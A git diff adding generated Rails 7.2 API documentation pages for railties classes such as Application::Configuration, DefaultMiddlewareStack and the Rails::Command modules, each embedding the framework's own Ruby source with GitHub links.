+          self.ssl_options = { hsts: { subdomains: true } }
+        when "5.1"
+          load_defaults "5.0"
+
+          if respond_to?(:assets)
+            assets.unknown_asset_fallback = false
+          end
+
+          if respond_to?(:action_view)
+            action_view.form_with_generates_remote_forms = true
+          end
+        when "5.2"
+          load_defaults "5.1"
+
+          if respond_to?(:active_record)
+            active_record.cache_versioning = true
+          end
+
+          if respond_to?(:action_dispatch)
+            action_dispatch.use_authenticated_cookie_encryption = true
+          end
+
+          if respond_to?(:active_support)
+            active_support.use_authenticated_message_encryption = true
+            active_support.hash_digest_class = OpenSSL::Digest::SHA1
+          end
+
+          if respond_to?(:action_controller)
+            action_controller.default_protect_from_forgery = true
+          end
+
+          if respond_to?(:action_view)
+            action_view.form_with_generates_ids = true
+          end
+        when "6.0"
+          load_defaults "5.2"
+
+          if respond_to?(:action_view)
+            action_view.default_enforce_utf8 = false
+          end
+
+          if respond_to?(:action_dispatch)
+            action_dispatch.use_cookies_with_metadata = true
+          end
+
+          if respond_to?(:action_mailer)
+            action_mailer.delivery_job = "ActionMailer::MailDeliveryJob"
+          end
+
+          if respond_to?(:active_storage)
+            active_storage.queues.analysis = :active_storage_analysis
+            active_storage.queues.purge    = :active_storage_purge
+          end
+
+          if respond_to?(:active_record)
+            active_record.collection_cache_versioning = true
+          end
+        when "6.1"
+          load_defaults "6.0"
+
+          if respond_to?(:active_record)
+            active_record.has_many_inversing = true
+          end
+
+          if respond_to?(:active_job)
+            active_job.retry_jitter = 0.15
+          end
+
+          if respond_to?(:action_dispatch)
+            action_dispatch.cookies_same_site_protection = :lax
+            action_dispatch.ssl_default_redirect_status = 308
+          end
+
+          if respond_to?(:action_view)
+            action_view.form_with_generates_remote_forms = false
+            action_view.preload_links_header = true
+          end
+
+          if respond_to?(:active_storage)
+            active_storage.track_variants = true
+
+            active_storage.queues.analysis = nil
+            active_storage.queues.purge = nil
+          end
+
+          if respond_to?(:action_mailbox)
+            action_mailbox.queues.incineration = nil
+            action_mailbox.queues.routing = nil
+          end
+
+          if respond_to?(:action_mailer)
+            action_mailer.deliver_later_queue_name = nil
+          end
+
+          ActiveSupport.utc_to_local_returns_utc_offset_times = true
+        when "7.0"
+          load_defaults "6.1"
+
+          if respond_to?(:action_dispatch)
+            action_dispatch.default_headers = {
+              "X-Frame-Options" => "SAMEORIGIN",
+              "X-XSS-Protection" => "0",
+              "X-Content-Type-Options" => "nosniff",
+              "X-Download-Options" => "noopen",
+              "X-Permitted-Cross-Domain-Policies" => "none",
+              "Referrer-Policy" => "strict-origin-when-cross-origin"
+            }
+            action_dispatch.cookies_serializer = :json
+          end
+
+          if respond_to?(:action_view)
+            action_view.button_to_generates_button_tag = true
+            action_view.apply_stylesheet_media_default = false
+          end
+
+          if respond_to?(:active_support)
+            active_support.hash_digest_class = OpenSSL::Digest::SHA256
+            active_support.key_generator_hash_digest_class = OpenSSL::Digest::SHA256
+            active_support.cache_format_version = 7.0
+            active_support.executor_around_test_case = true
+          end
+
+          if respond_to?(:action_mailer)
+            action_mailer.smtp_timeout = 5
+          end
+
+          if respond_to?(:active_storage)
+            active_storage.video_preview_arguments =
+              "-vf 'select=eq(n\\,0)+eq(key\\,1)+gt(scene\\,0.015),loop=loop=-1:size=2,trim=start_frame=1'" \
+              " -frames:v 1 -f image2"
+
+            active_storage.variant_processor = :vips
+            active_storage.multiple_file_field_include_hidden = true
+          end
+
+          if respond_to?(:active_record)
+            active_record.verify_foreign_keys_for_fixtures = true
+            active_record.partial_inserts = false
+            active_record.automatic_scope_inversing = true
+          end
+
+          if respond_to?(:action_controller)
+            action_controller.raise_on_open_redirects = true
+            action_controller.wrap_parameters_by_default = true
+          end
+        when "7.1"
+          load_defaults "7.0"
+
+          self.add_autoload_paths_to_load_path = false
+          self.precompile_filter_parameters = true
+          self.dom_testing_default_html_version = defined?(Nokogiri::HTML5) ? :html5 : :html4
+
+          if Rails.env.local?
+            self.log_file_size = 100 * 1024 * 1024
+          end
+
+          if respond_to?(:active_record)
+            active_record.run_commit_callbacks_on_first_saved_instances_in_transaction = false
+            active_record.sqlite3_adapter_strict_strings_by_default = true
+            active_record.query_log_tags_format = :sqlcommenter
+            active_record.raise_on_assign_to_attr_readonly = true
+            active_record.belongs_to_required_validates_foreign_key = false
+            active_record.before_committed_on_all_records = true
+            active_record.default_column_serializer = nil
+            active_record.encryption.hash_digest_class = OpenSSL::Digest::SHA256
+            active_record.encryption.support_sha1_for_non_deterministic_encryption = false
+            active_record.marshalling_format_version = 7.1
+            active_record.run_after_transaction_callbacks_in_order_defined = true
+            active_record.generate_secure_token_on = :initialize
+          end
+
+          if respond_to?(:action_dispatch)
+            action_dispatch.default_headers = {
+              "X-Frame-Options" => "SAMEORIGIN",
+              "X-XSS-Protection" => "0",
+              "X-Content-Type-Options" => "nosniff",
+              "X-Permitted-Cross-Domain-Policies" => "none",
+              "Referrer-Policy" => "strict-origin-when-cross-origin"
+            }
+            action_dispatch.debug_exception_log_level = :error
+          end
+
+          if respond_to?(:active_support)
+            active_support.cache_format_version = 7.1
+            active_support.message_serializer = :json_allow_marshal
+            active_support.use_message_serializer_for_metadata = true
+            active_support.raise_on_invalid_cache_expiration_time = true
+          end
+
+          if respond_to?(:action_view)
+            require "action_view/helpers"
+            action_view.sanitizer_vendor = Rails::HTML::Sanitizer.best_supported_vendor
+          end
+
+          if respond_to?(:action_text)
+            require "action_view/helpers"
+            action_text.sanitizer_vendor = Rails::HTML::Sanitizer.best_supported_vendor
+          end
+        when "7.2"
+          load_defaults "7.1"
+
+          self.yjit = true
+
+          if respond_to?(:active_job)
+            active_job.enqueue_after_transaction_commit = :default
+          end
+
+          if respond_to?(:active_storage)
+            active_storage.web_image_content_types = %w( image/png image/jpeg image/gif image/webp )
+          end
+
+          if respond_to?(:active_record)
+            active_record.postgresql_adapter_decode_dates = true
+            active_record.validate_migration_timestamps = true
+          end
+        else
+          raise "Unknown version #{target_version.to_s.inspect}"
+        end
+
+        @loaded_config_version = target_version
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + log_level=(level) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/configuration.rb, line 380
+      def log_level=(level)
+        @log_level = level
+        @broadcast_log_level = level
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + paths() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/configuration.rb, line 393
+      def paths
+        @paths ||= begin
+          paths = super
+          paths.add "config/database",    with: "config/database.yml"
+          paths.add "config/environment", with: "config/environment.rb"
+          paths.add "lib/templates"
+          paths.add "log",                with: "log/#{Rails.env}.log"
+          paths.add "public"
+          paths.add "public/javascripts"
+          paths.add "public/stylesheets"
+          paths.add "tmp"
+          paths
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + permissions_policy(&block) + +

+ + +
+

Configures the ActionDispatch::PermissionsPolicy.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/configuration.rb, line 572
+      def permissions_policy(&block)
+        if block_given?
+          @permissions_policy = ActionDispatch::PermissionsPolicy.new(&block)
+        else
+          @permissions_policy
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + read_encrypted_secrets() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/configuration.rb, line 357
+      def read_encrypted_secrets
+        Rails.deprecator.warn("'config.read_encrypted_secrets' is deprecated and will be removed in Rails 8.0.")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + read_encrypted_secrets=(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/configuration.rb, line 361
+      def read_encrypted_secrets=(value)
+        Rails.deprecator.warn("'config.read_encrypted_secrets=' is deprecated and will be removed in Rails 8.0.")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reloading_enabled?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/configuration.rb, line 345
+      def reloading_enabled?
+        enable_reloading
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + secret_key_base() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/configuration.rb, line 501
+      def secret_key_base
+        @secret_key_base || begin
+          self.secret_key_base = if generate_local_secret?
+            generate_local_secret
+          else
+            ENV["SECRET_KEY_BASE"] || Rails.application.credentials.secret_key_base
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + secret_key_base=(new_secret_key_base) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/configuration.rb, line 511
+      def secret_key_base=(new_secret_key_base)
+        if new_secret_key_base.nil? && generate_local_secret?
+          @secret_key_base = generate_local_secret
+        elsif new_secret_key_base.is_a?(String) && new_secret_key_base.present?
+          @secret_key_base = new_secret_key_base
+        elsif new_secret_key_base
+          raise ArgumentError, "`secret_key_base` for #{Rails.env} environment must be a type of String`"
+        else
+          raise ArgumentError, "Missing `secret_key_base` for '#{Rails.env}' environment, set this string with `bin/rails credentials:edit`"
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + session_store(new_session_store = nil, **options) + +

+ + +
+

Specifies what class to use to store the session. Possible values are :cache_store, :cookie_store, :mem_cache_store, a custom store, or :disabled. :disabled tells Rails not to deal with sessions.

+ +

Additional options will be set as session_options:

+ +
config.session_store :cookie_store, key: "_your_app_session"
+config.session_options # => {key: "_your_app_session"}
+
+ +

If a custom store is specified as a symbol, it will be resolved to the ActionDispatch::Session namespace:

+ +
# use ActionDispatch::Session::MyCustomStore as the session store
+config.session_store :my_custom_store
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/configuration.rb, line 538
+      def session_store(new_session_store = nil, **options)
+        if new_session_store
+          @session_store = new_session_store
+          @session_options = options || {}
+        else
+          case @session_store
+          when :disabled
+            nil
+          when Symbol
+            ActionDispatch::Session.resolve_store(@session_store)
+          else
+            @session_store
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Application/DefaultMiddlewareStack.html b/src/7.2/classes/Rails/Application/DefaultMiddlewareStack.html new file mode 100644 index 0000000000..dab4d7b82b --- /dev/null +++ b/src/7.2/classes/Rails/Application/DefaultMiddlewareStack.html @@ -0,0 +1,271 @@ +--- +title: Rails::Application::DefaultMiddlewareStack +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + +
+ [R] + app
+ [R] + config
+ [R] + paths
+ + + + +

Class Public methods

+ +
+

+ + new(app, config, paths) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/default_middleware_stack.rb, line 8
+      def initialize(app, config, paths)
+        @app = app
+        @config = config
+        @paths = paths
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + build_stack() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/default_middleware_stack.rb, line 14
+      def build_stack
+        ActionDispatch::MiddlewareStack.new do |middleware|
+          unless Array(config.hosts).empty?
+            middleware.use ::ActionDispatch::HostAuthorization, config.hosts, **config.host_authorization
+          end
+
+          if config.assume_ssl
+            middleware.use ::ActionDispatch::AssumeSSL
+          end
+
+          if config.force_ssl
+            middleware.use ::ActionDispatch::SSL, **config.ssl_options,
+              ssl_default_redirect_status: config.action_dispatch.ssl_default_redirect_status
+          end
+
+          middleware.use ::Rack::Sendfile, config.action_dispatch.x_sendfile_header
+
+          if config.public_file_server.enabled
+            headers = config.public_file_server.headers || {}
+
+            middleware.use ::ActionDispatch::Static, paths["public"].first, index: config.public_file_server.index_name, headers: headers
+          end
+
+          if rack_cache = load_rack_cache
+            require "action_dispatch/http/rack_cache"
+            middleware.use ::Rack::Cache, rack_cache
+          end
+
+          if config.allow_concurrency == false
+            # User has explicitly opted out of concurrent request
+            # handling: presumably their code is not threadsafe
+
+            middleware.use ::Rack::Lock
+          end
+
+          middleware.use ::ActionDispatch::Executor, app.executor
+
+          middleware.use ::ActionDispatch::ServerTiming if config.server_timing
+          middleware.use ::Rack::Runtime
+          middleware.use ::Rack::MethodOverride unless config.api_only
+          middleware.use ::ActionDispatch::RequestId, header: config.action_dispatch.request_id_header
+          middleware.use ::ActionDispatch::RemoteIp, config.action_dispatch.ip_spoofing_check, config.action_dispatch.trusted_proxies
+
+          middleware.use ::Rails::Rack::Logger, config.log_tags
+          middleware.use ::ActionDispatch::ShowExceptions, show_exceptions_app
+          middleware.use ::ActionDispatch::DebugExceptions, app, config.debug_exception_response_format
+
+          if config.consider_all_requests_local
+            middleware.use ::ActionDispatch::ActionableExceptions
+          end
+
+          if config.reloading_enabled?
+            middleware.use ::ActionDispatch::Reloader, app.reloader
+          end
+
+          middleware.use ::ActionDispatch::Callbacks
+          middleware.use ::ActionDispatch::Cookies unless config.api_only
+
+          if !config.api_only && config.session_store
+            if config.force_ssl && config.ssl_options.fetch(:secure_cookies, true) && !config.session_options.key?(:secure)
+              config.session_options[:secure] = true
+            end
+            middleware.use config.session_store, config.session_options
+          end
+
+          unless config.api_only
+            middleware.use ::ActionDispatch::Flash
+            middleware.use ::ActionDispatch::ContentSecurityPolicy::Middleware
+            middleware.use ::ActionDispatch::PermissionsPolicy::Middleware
+          end
+
+          middleware.use ::Rack::Head
+          middleware.use ::Rack::ConditionalGet
+          middleware.use ::Rack::ETag, "no-cache"
+
+          middleware.use ::Rack::TempfileReaper unless config.api_only
+
+          if config.respond_to?(:active_record)
+            if selector_options = config.active_record.database_selector
+              resolver = config.active_record.database_resolver
+              context = config.active_record.database_resolver_context
+
+              middleware.use ::ActiveRecord::Middleware::DatabaseSelector, resolver, context, selector_options
+            end
+
+            if shard_resolver = config.active_record.shard_resolver
+              options = config.active_record.shard_selector || {}
+
+              middleware.use ::ActiveRecord::Middleware::ShardSelector, shard_resolver, options
+            end
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Application/Finisher.html b/src/7.2/classes/Rails/Application/Finisher.html new file mode 100644 index 0000000000..9b56519d5b --- /dev/null +++ b/src/7.2/classes/Rails/Application/Finisher.html @@ -0,0 +1,68 @@ +--- +title: Rails::Application::Finisher +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Application/RoutesReloader.html b/src/7.2/classes/Rails/Application/RoutesReloader.html new file mode 100644 index 0000000000..de2e299886 --- /dev/null +++ b/src/7.2/classes/Rails/Application/RoutesReloader.html @@ -0,0 +1,209 @@ +--- +title: Rails::Application::RoutesReloader +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [RW] + eager_load
+ [R] + external_routes
+ [R] + paths
+ [R] + route_sets
+ + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/routes_reloader.rb, line 15
+      def initialize
+        @paths      = []
+        @route_sets = []
+        @external_routes = []
+        @eager_load = false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + reload!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/routes_reloader.rb, line 22
+      def reload!
+        clear!
+        load_paths
+        finalize!
+        route_sets.each(&:eager_load!) if eager_load
+      ensure
+        revert
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Command.html b/src/7.2/classes/Rails/Command.html new file mode 100644 index 0000000000..5bbad6ae65 --- /dev/null +++ b/src/7.2/classes/Rails/Command.html @@ -0,0 +1,403 @@ +--- +title: Rails::Command +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
HELP_MAPPINGS=%w(-h -? --help).to_set
VERSION_MAPPINGS=%w(-v --version).to_set
+ + + + + + +

Class Public methods

+ +
+

+ + invoke(full_namespace, args = [], **config) + +

+ + +
+

Receives a namespace, arguments, and the behavior to invoke the command.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/command.rb, line 62
+      def invoke(full_namespace, args = [], **config)
+        args = ["--help"] if rails_new_with_no_path?(args)
+
+        full_namespace = full_namespace.to_s
+        namespace, command_name = split_namespace(full_namespace)
+        command = find_by_namespace(namespace, command_name)
+
+        with_argv(args) do
+          if command && command.all_commands[command_name]
+            command.perform(command_name, args, config)
+          else
+            invoke_rake(full_namespace, args, config)
+          end
+        end
+      rescue UnrecognizedCommandError => error
+        if error.name == full_namespace && command && command_name == full_namespace
+          command.perform("help", [], config)
+        else
+          puts error.detailed_message
+        end
+        exit(1)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + root() + +

+ + +
+

Returns the root of the Rails engine or app running the command.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/command.rb, line 108
+      def root
+        if defined?(ENGINE_ROOT)
+          Pathname.new(ENGINE_ROOT)
+        else
+          application_root
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Class Private methods

+ +
+

+ + command_type() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/command.rb, line 159
+        def command_type # :doc:
+          @command_type ||= "command"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + file_lookup_paths() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/command.rb, line 167
+        def file_lookup_paths # :doc:
+          @file_lookup_paths ||= [ "{#{lookup_paths.join(',')}}", "**", "*_command.rb" ]
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + lookup_paths() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/command.rb, line 163
+        def lookup_paths # :doc:
+          @lookup_paths ||= %w( rails/commands commands )
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Command/Actions.html b/src/7.2/classes/Rails/Command/Actions.html new file mode 100644 index 0000000000..cec6ed05c7 --- /dev/null +++ b/src/7.2/classes/Rails/Command/Actions.html @@ -0,0 +1,304 @@ +--- +title: Rails::Command::Actions +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + boot_application!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/command/actions.rb, line 18
+      def boot_application!
+        require_application!
+        Rails.application.require_environment! if defined?(APP_PATH)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + load_environment_config!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/command/actions.rb, line 23
+      def load_environment_config!
+        require_application!
+        # Only run initializers that are in the :all group, which includes the
+        # :load_environment_config initializer.
+        Rails.application.initialize!(:_) if defined?(APP_PATH)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + load_generators() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/command/actions.rb, line 36
+        def load_generators
+          engine = ::Rails::Engine.find(ENGINE_ROOT)
+          Rails::Generators.namespace = engine.railtie_namespace
+          engine.load_generators
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + load_tasks() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/command/actions.rb, line 31
+        def load_tasks
+          Rake.application.init("rails")
+          Rake.application.load_rakefile
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + require_application!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/command/actions.rb, line 13
+      def require_application!
+        require ENGINE_PATH if defined?(ENGINE_PATH)
+        require APP_PATH if defined?(APP_PATH)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + set_application_directory!() + +

+ + +
+

Change to the application’s path if there is no config.ru file in current directory. This allows us to run rails server from other directories, but still get the main config.ru and properly set the tmp directory.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/command/actions.rb, line 9
+      def set_application_directory!
+        Dir.chdir(File.expand_path("../..", APP_PATH)) unless File.exist?(File.expand_path("config.ru"))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Command/App.html b/src/7.2/classes/Rails/Command/App.html new file mode 100644 index 0000000000..3d295cc7bc --- /dev/null +++ b/src/7.2/classes/Rails/Command/App.html @@ -0,0 +1,54 @@ +--- +title: Rails::Command::App +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Command/Base.html b/src/7.2/classes/Rails/Command/Base.html new file mode 100644 index 0000000000..f6232c6ca6 --- /dev/null +++ b/src/7.2/classes/Rails/Command/Base.html @@ -0,0 +1,543 @@ +--- +title: Rails::Command::Base +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + banner(command = nil, *) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/command/base.rb, line 86
+        def banner(command = nil, *)
+          if command
+            # Similar to Thor's banner, but show the namespace (minus the
+            # "rails:" prefix), and show the command's declared bin instead of
+            # the command runner.
+            command.formatted_usage(self).gsub(/^#{namespace}:(\w+)/) { executable($1) }
+          else
+            executable
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + base_name() + +

+ + +
+

Sets the base_name taking into account the current class namespace.

+ +
Rails::Command::TestCommand.base_name # => 'rails'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/command/base.rb, line 106
+        def base_name
+          @base_name ||= if base = name.to_s.split("::").first
+            base.underscore
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + command_name() + +

+ + +
+

Return command name without namespaces.

+ +
Rails::Command::TestCommand.command_name # => 'test'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/command/base.rb, line 115
+        def command_name
+          @command_name ||= if command = name.to_s.split("::").last
+            command.chomp!("Command")
+            command.underscore
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + default_command_root() + +

+ + +
+

Default file root to place extra files a command might need, placed one folder above the command file.

+ +

For a Rails::Command::TestCommand placed in rails/command/test_command.rb would return rails/test.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/command/base.rb, line 139
+        def default_command_root
+          @default_command_root = resolve_path(".") unless defined?(@default_command_root)
+          @default_command_root
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + desc(usage = nil, description = nil, options = {}) + +

+ + +
+

Tries to get the description from a USAGE file one folder above the command root.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/command/base.rb, line 34
+        def desc(usage = nil, description = nil, options = {})
+          if usage
+            super
+          else
+            class_usage
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + engine?() + +

+ + +
+

Returns true when the app is a Rails engine.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/command/base.rb, line 28
+        def engine?
+          defined?(ENGINE_ROOT)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + executable(command_name = self.command_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/command/base.rb, line 82
+        def executable(command_name = self.command_name)
+          "#{bin} #{namespaced_name(command_name)}"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + hide_command!() + +

+ + +
+

Convenience method to hide this command from the available ones when running rails command.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/command/base.rb, line 55
+        def hide_command!
+          Rails::Command.hidden_commands << self
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + namespace(name = nil) + +

+ + +
+

Convenience method to get the namespace from the class name. It’s the same as Thor default except that the Command at the end of the class is removed.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/command/base.rb, line 45
+        def namespace(name = nil)
+          if name
+            super
+          else
+            @namespace ||= super.chomp("_command").sub(/:command:/, ":")
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + printing_commands() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/command/base.rb, line 76
+        def printing_commands
+          commands.filter_map do |name, command|
+            [namespaced_name(name), command.description] unless command.hidden?
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + usage_path() + +

+ + +
+

Path to lookup a USAGE description in a file.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/command/base.rb, line 129
+        def usage_path
+          @usage_path = resolve_path("USAGE") unless defined?(@usage_path)
+          @usage_path
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Command/Db.html b/src/7.2/classes/Rails/Command/Db.html new file mode 100644 index 0000000000..8e7102dc79 --- /dev/null +++ b/src/7.2/classes/Rails/Command/Db.html @@ -0,0 +1,67 @@ +--- +title: Rails::Command::Db +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Command/Db/System.html b/src/7.2/classes/Rails/Command/Db/System.html new file mode 100644 index 0000000000..bdc91ad79d --- /dev/null +++ b/src/7.2/classes/Rails/Command/Db/System.html @@ -0,0 +1,54 @@ +--- +title: Rails::Command::Db::System +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Command/Helpers.html b/src/7.2/classes/Rails/Command/Helpers.html new file mode 100644 index 0000000000..e95e5a71ff --- /dev/null +++ b/src/7.2/classes/Rails/Command/Helpers.html @@ -0,0 +1,67 @@ +--- +title: Rails::Command::Helpers +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Command/Helpers/Editor.html b/src/7.2/classes/Rails/Command/Helpers/Editor.html new file mode 100644 index 0000000000..86ddb900de --- /dev/null +++ b/src/7.2/classes/Rails/Command/Helpers/Editor.html @@ -0,0 +1,54 @@ +--- +title: Rails::Command::Helpers::Editor +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Command/UnusedRoutesCommand.html b/src/7.2/classes/Rails/Command/UnusedRoutesCommand.html new file mode 100644 index 0000000000..20900815e7 --- /dev/null +++ b/src/7.2/classes/Rails/Command/UnusedRoutesCommand.html @@ -0,0 +1,73 @@ +--- +title: Rails::Command::UnusedRoutesCommand +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Command/UnusedRoutesCommand/RouteInfo.html b/src/7.2/classes/Rails/Command/UnusedRoutesCommand/RouteInfo.html new file mode 100644 index 0000000000..1a02bbc26b --- /dev/null +++ b/src/7.2/classes/Rails/Command/UnusedRoutesCommand/RouteInfo.html @@ -0,0 +1,152 @@ +--- +title: Rails::Command::UnusedRoutesCommand::RouteInfo +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(route) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/unused_routes/unused_routes_command.rb, line 13
+        def initialize(route)
+          requirements = route.requirements
+          @controller_name = requirements[:controller]
+          @action_name = requirements[:action]
+          @controller_class = (@controller_name.to_s.camelize + "Controller").safe_constantize
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + unused?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/unused_routes/unused_routes_command.rb, line 20
+        def unused?
+          controller_class_missing? || (action_missing? && template_missing?)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Configuration.html b/src/7.2/classes/Rails/Configuration.html new file mode 100644 index 0000000000..aeb00432df --- /dev/null +++ b/src/7.2/classes/Rails/Configuration.html @@ -0,0 +1,71 @@ +--- +title: Rails::Configuration +layout: default +--- +
+ +
+
